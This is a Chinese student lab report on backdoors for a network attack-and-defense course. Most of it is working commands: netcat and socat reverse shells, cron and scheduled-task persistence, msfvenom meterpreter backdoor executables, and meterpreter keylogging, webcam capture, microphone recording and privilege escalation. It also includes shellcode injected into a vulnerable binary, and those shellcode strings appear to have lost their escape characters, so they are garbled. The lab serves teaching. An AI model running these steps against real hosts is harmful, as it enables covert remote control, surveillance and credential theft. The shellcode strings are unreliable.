20181313毕然《网络对抗技术》——Exp2 后门原理与实践

《网络对抗技术》——Exp2 后门原理与实践

一、实验准备

1、实验要求

  • 使用netcat获取主机操作Shell,cron启动
  • 使用socat获取主机操作Shell, 任务计划启动
  • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  • 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

2、后门

  • 后门就是不经过正常认证流程而访问系统的通道。
  • 哪里有后门呢?
    • 编译器留后门
    • 操作系统留后门
    • 最常见的当然还是应用程序中留后门
    • 潜伏于操作系统中或伪装为特定应用的专用后门程序
  • 后门程序一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法。在软件的开发阶段,程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷。但是,如果这些后门被其他人知道,或是在发布软件之前没有删除后门程序,那么它就成了安全风险,容易被黑客当成漏洞进行攻击。
  • 后门 vs 木马
    • 联系在于:都是隐藏在用户系统中向外发送信息,而且本身具有一定权限,以便远程机器对本机的控制。
    • 区别在于:木马是一个完整的软件,而后门则体积较小且功能都很单一。后门程序类似于特洛伊木马(简称"木马"),其用途在于潜伏在电脑中,从事搜集信息或便于黑客进入的动作。

3、常用的后门工具

1. ncat

  • ncat是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
  • Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
  • Windows: 课程主页附件中下载ncat.rar解压即可使用。
  • Mac: 系统自带,"man nc",查看其使用说明。

Windows获取kali的shell

  • 在Windows中查看本机IP地址为 192.168.1.226 

  • Windows中使用ncat打开监听 ncat.exe -l -p 1313 
  • 在kali中反弹链接Windows ncat 192.168.1.226 1313 -e /bin/sh , -e 用于执行shell
  • Windows成功获得了kali的shell

kali获得Windows的shell

  • kali中查看本机ip地址为 192.168.56.101 
  • kali中开启监听 nc -l -p 1313 
  • Windows中反弹链接kali ncat.exe -e cmd.exe 192.168.56.101 1313 
  • kali成功获得了Windows的shell

kali向Windows中传输文件

  • Windows中通过 ncat.exe -l 1313 > file.out  监听1313端口,将收到的内容存储在 file.out  中
  • kali反弹链接Windows的1313端口  nc 192.168.1.226 1313 < file.in 
  • 通过 type file.out  在Windows中查看接收到的内容
  • 通过 cat file.in  在kali中查看发送的内容

Windows向kali中传输文件

  • kali中通过 nc -l -p 1313 > 20181313.txt 监听1313端口
  • Windows反弹连接linux的1313端口 ncat.exe 10.0.2.15 1313 < 1313.txt , linux可以收到Windows发来的文件

这里更换了虚拟机的网络连接方式,由仅主机网络模式变为网络地址转换模式,因此虚拟机的IP地址发生变化。

 发现Windows中出错:由于连接方在一段时间后没有正确答复或连接的主机没有反应

初步判断为虚拟机没有连接成功。因此再次改变虚拟机网络连接方式,将网络地址转换模式调整为桥接网卡

 查询的IP地址为 192.168.1.138 。再次尝试:

 传输成功!!!

使用nc相互传输通信

  • Windows下监听1313 端口 ncat.exe -l 1313 
  • kali反弹连接到Windows的1313端口 nc 192.168.1.226 1313 
  • 建立连接后,开始传输数据

2. socat

       socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版,socat的官方网站:http://www.dest-unreach.org/socat/ 。
       socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)、插座(Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。
       Socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。多个选项可用于调整socat和其渠道,Socat可以作为TCP中继(一次性或守护进程),作为一个守护进程基于socksifier,作为一个shell Unix套接字接口,作为IP6的继电器,或面向TCP的程序重定向到一个串行线。
       socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe, exec, system, open, proxy, openssl, socket等。

3.Meterpreter

  • 后门就是一个程序。

  • 传统的理解是:有人编写一个后门程序,大家拿来用。后来有人编写一个平台能生成后门程序。这个平台把后门的

    • 基本功能(基本的连接、执行指令),
    • 扩展功能(如搜集用户信息、安装服务等功能),
    • 编码模式,
    • 运行平台,
    • 以及运行参数
  • 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。

  • 典型的平台就包括有:

    • intersect
    • Metaspolit的msfvenom指令
    • Veil-evasion
  • 指令参数说明

    •  -p  使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
    •  -x  使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    •  -e  使用的编码器,用于对shellcode变形,为了免杀。
    •  -i  编码器的迭代次数。如上即使用该编码器编码5次。
    •  -b  badchar是payload中需要去除的字符。
    •  LHOST  是反弹回连的IP
    •  LPORT  是回连的端口
    •  -f  生成文件的类型 > 输出到哪个文件

二、实验内容

1. 使用netcat获取主机操作Shell,cron启动

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。

  • Windows下监听1313端口 ncat.exe -l -p 1313 。

  • kali中,通过 crontab -e  指令便捷定时任务, -e 表示编辑。第一次编辑时选择3。

  • 在打开的文件最后一行添加  30* * * * /bin/netcat 192.168.1.226 1313 -e /bin/sh  ,为了能迅速看到效果,将时间设置为了30分(从左至右参数一次为:分,小时,日,月,年),意思是在每个小时的第30分钟反向连接Windows主机的1313端口。

  • 保存退出后配置即生效。可以通过crontab -l来查看,-l表示list。
  • 在系统时间14:30时,在Windows可以获取kali的shell

2. 使用socat获取主机操作Shell, 任务计划启动

       socat是ncat的增强版,它使用的格式是 socat [options] <address> <address> ,其中address是必选项,而options是可选项。
       socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

  • 在Windows中下载socat
  • 此电脑点击右键选择管理,打开“计算机管理”

  • 填写任务名称,并新建一个触发器

  • 在操作->新建->程序或脚本中选择socat.exe文件的路径,在添加参数一栏填写tcp-listen:1313 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口1313,同时把cmd.exe的stderr重定向到stdout上

  • 创建完成之后,点击任务计划程序库,运行创建的任务

  •  运行后

  • 此时,在Kali环境下输入指令socat - tcp:192.168.1.226:1313
    • 这里的第一个参数-代表标准的输入输出
    • 第二个流连接到Windows主机的1313端口
    • 此时可以发现已经成功获得了一个cmd shell
    • (由于输入dir 指令后内容过多,会覆盖获得shell成功的内容,因此没有输入)

3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 在Kali上执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.138 LPORT=1313 -f exe > 20181313_backdoor.exe
    • IP地址为控制端IP,即kali的IP192.168.1.138
    • 生成了后门程序:20181313_backdoor.exe
  • 在windows上,通过ncat.exe -lv 1313> 20181313_backdoor.exe指令将被控制主机进入接受文件模式, -lv 看到当前的连接状态
  • 在Linux中执行 nc 192.168.1.226 1313 < 20181313_backdoor.exe ,注意这里的IP为被控主机IP,即WindowsIP

  •  传送接收文件成功,在相应的文件夹下可以查看

  • 在Kali上使用msfconsole指令进入msf控制台
    • 输入use exploit/multi/handler使用监听模块,设置payload
    • set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
    • set LHOST 192.168.1.138 ,这里是kali的IP,和生成后门程序时指定的IP相同

    • set LPORT 1313,同样要使用相同的端口
    • show options,查看详细信息

  • 设置完成后,执行监听exploit
  • 在Windows下运行后门程序 20181313_backdoor.exe ,运行前应提前关闭杀毒软件的防护

4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用record_mic  指令可以截获一段音频,使用 -d 设置录制时间,这里我选择设置时长为10s, -d 10 
  • 使用 webcam_snap 指令可以使用摄像头进行拍照
  • 使用 keyscan_start 指令开始记录下击键的过程(需要在Windows中进行任意输入),使用 keyscan_dump 指令读取击键的记录
  • 使用 screenshot 指令可以进行截屏
  • 使用 getuid  指令查看当前用户
  • 使用 getsystem 指令进行提权操作

 

(拍照)

 

 (截图)

5. 加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

使用msf生成shellcode

  • 在linux中和windows中生成有几点不同
    • 有效载荷的不同:Windows中的有效载荷为 windows/meterpreter/reverse_tcp ,而linux中的有效载荷为 linux/x86/meterpreter/reverse_tcp
    • 文件格式的不同:Windows中很显然为exe,而linux中为elf,可以通过 file filename  进行查看
    • 权限的不同:linux中生成的后门程序必须要通过chmod +x 给程序赋予权限
  • 在命令行输入命令,生成后门程序
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.138 LPORT=1313 -x pwn1 -f elf > pwntest
  • 在另一个终端中启动mfs控制台(和实验三中过程相同),注意这时的playload应该为 linux/x86/meterpreter/reverse_tcp 
  • 在新的终端运行我们生成的pwntest

 注意:运行文件发现权限不够,输入 chmod +x pwntest 将其修改为可执行文件

  • 再次运行pwntest,发现成功获得反弹连接shell。

从网站上下载shellcode

  • shellcode网站中下载一个linux/x86平台的shellcode,用于反弹连接
  • 根据实验一的学习,我们先通过gdb调试找到shellcode的返回地址 0xffffd130 , 然后复制出下载的文件中的shellcode机器码,将返回地址添加到最前面,同时生成用于注入的 input_shellcode 文件,具体代码如下:
perl -e 'print "A" x 32;print"x30xd1xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode

 

  • MSF打开监听
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1    
set LPORT 4444
exlpoit

补充:

  • 生成一段shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.138 LPORT=1313 -f c 

  • 如上步骤找到返回地址,将反弹连接的shellcode注入
    perl -e 'print "A" x 32;print"x40xd1xffxffx31xdbxf7xe3x53x43x53x6ax02x89xe1xb0x66xcdx52x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x52x53x89xe1xb0x0bxcdx80"' > inputshellcode
  • 开一个新终端,启动 msfconsole
    use exploit/multi/handler    
    set payload linux/x86/shell_reverse_tcp
    set LHOST 192.168.1.138           
    set LPORT 1313        
    show options exploit

  • 在另一终端中输入(cat input_shellcode;cat) | ./pwn1 ,成功获得shell。

三、基础问题回答

1. 列举你能想到的一个后门进入到你系统中的可能方式?

下载软件时,随意在非官方网站上下载了一个软件;点击网页链接。

2. 例举你知道的后门如何启动起来(win及linux)的方式?

修改linux的cron程序、注入shellcode、木马、网络协议捆绑、社会工程学。

3. Meterpreter有哪些给你映像深刻的功能?

录音、录像、截图、键盘输入记录、查看用户、修改权限等功能

4. 如何发现自己系统有没有被安装后门?

可以在终端中通过netstat命令查看有无异常开放的端口,通过杀毒软件对系统进行扫描和检测,定期检查自启动项中是否有新增的或者自己不知道的自启动项。

四、实践总结与体会

       在本次实验中,通过对后门概念的理解和实际操作,掌握了后门的生成过程和注入方式,明白了后门其实就是留在计算机系统中,绕过了安全检测可以用某种方式控制计算机系统的途径。在本次实验过程中,曾多次因为防火墙和杀毒软件的阻止实验中断,也切实感受到了后门的工作原理、防火墙和杀毒软件的重要性。经过这次动手实操,我也确实明白了后门的危险性,之后对于不明网站上的软件下载和不安全链接,也有了一定的防范之心。

原文地址:https://www.cnblogs.com/bbbbblue/p/14589405.html